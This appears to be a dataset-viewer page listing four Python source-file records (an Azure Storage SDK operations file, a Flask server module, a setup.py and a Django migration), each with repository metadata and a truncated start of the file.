0a8d406c4a1864175bc2828bef0e797b9dca8231 | 5,335 | py | Python | sdk/storage/azure-mgmt-storage/azure/mgmt/storage/v2021_02_01/operations/_usages_operations.py | rsdoherty/azure-sdk-for-python | 6bba5326677468e6660845a703686327178bb7b1 | [
"MIT"
] | 2,728 | 2015-01-09T10:19:32.000Z | 2022-03-31T14:50:33.000Z | sdk/storage/azure-mgmt-storage/azure/mgmt/storage/v2021_02_01/operations/_usages_operations.py | rsdoherty/azure-sdk-for-python | 6bba5326677468e6660845a703686327178bb7b1 | [
"MIT"
] | 17,773 | 2015-01-05T15:57:17.000Z | 2022-03-31T23:50:25.000Z | sdk/storage/azure-mgmt-storage/azure/mgmt/storage/v2021_02_01/operations/_usages_operations.py | rsdoherty/azure-sdk-for-python | 6bba5326677468e6660845a703686327178bb7b1 | [
"MIT"
] | 1,916 | 2015-01-19T05:05:41.000Z | 2022-03-31T19:36:44.000Z | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... | 44.831933 | 146 | 0.652858 |
b4d6f91b8ed6c6dec41247d122d8ad6cf4c7e2f0 | 1,018 | py | Python | rdr_server/server.py | robabram/raw-data-repository-v2 | a8e1a387d9ea3e4be3ec44473d026e3218f23509 | [
"BSD-3-Clause"
] | null | null | null | rdr_server/server.py | robabram/raw-data-repository-v2 | a8e1a387d9ea3e4be3ec44473d026e3218f23509 | [
"BSD-3-Clause"
] | 2 | 2021-02-08T20:31:00.000Z | 2021-04-30T20:44:44.000Z | rdr_server/server.py | robabram/raw-data-repository-v2 | a8e1a387d9ea3e4be3ec44473d026e3218f23509 | [
"BSD-3-Clause"
] | null | null | null | #
# This file is subject to the terms and conditions defined in the
# file 'LICENSE', which is part of this source code package.
#
# TODO: Drop flask_restplus and switch to flask views
# TODO: http://flask.pocoo.org/docs/1.0/views/
# TODO: documentation https://dev.to/djiit/documenting-your-flask-powered-api-like-a-b... | 27.513514 | 93 | 0.739686 |
3f2f85ab693d1673daa1a21bfca490bcb657bfc7 | 1,036 | py | Python | setup.py | lovette/mysqlstmt | ef7fa56ee45046018d6a6cd2c64abce19a8b33a8 | [
"BSD-3-Clause"
] | null | null | null | setup.py | lovette/mysqlstmt | ef7fa56ee45046018d6a6cd2c64abce19a8b33a8 | [
"BSD-3-Clause"
] | null | null | null | setup.py | lovette/mysqlstmt | ef7fa56ee45046018d6a6cd2c64abce19a8b33a8 | [
"BSD-3-Clause"
] | null | null | null | from setuptools import setup
setup(
name='mysqlstmt',
version='1.0.1',
url='https://github.com/lovette/mysqlstmt',
download_url='https://github.com/lovette/mysqlstmt/archive/master.tar.gz',
license='BSD',
author='Lance Lovette',
author_email='lance.lovette@gmail.com',
description='Pytho... | 33.419355 | 78 | 0.631274 |
96f5d2e26dd0359d3bad312da33bd8382a596b3f | 1,644 | py | Python | rooms/migrations/0003_auto_20200324_1450.py | covid-videoplattform/django-webfrontend | 63cd880d155bcf6549b5616be3c6d2a87d198106 | [
"MIT"
] | 1 | 2020-03-29T21:17:37.000Z | 2020-03-29T21:17:37.000Z | rooms/migrations/0003_auto_20200324_1450.py | covid-videoplattform/django-webfrontend | 63cd880d155bcf6549b5616be3c6d2a87d198106 | [
"MIT"
] | 15 | 2020-03-25T10:14:38.000Z | 2020-04-05T11:08:00.000Z | rooms/migrations/0003_auto_20200324_1450.py | covid-videoplattform/django-webfrontend | 63cd880d155bcf6549b5616be3c6d2a87d198106 | [
"MIT"
] | null | null | null | # Generated by Django 3.0.4 on 2020-03-24 14:50
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('rooms', '0002_auto_20200324_1142'),
]
operations = [
migrations.AddField(
model_name='appointme... | 32.88 | 129 | 0.596107 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.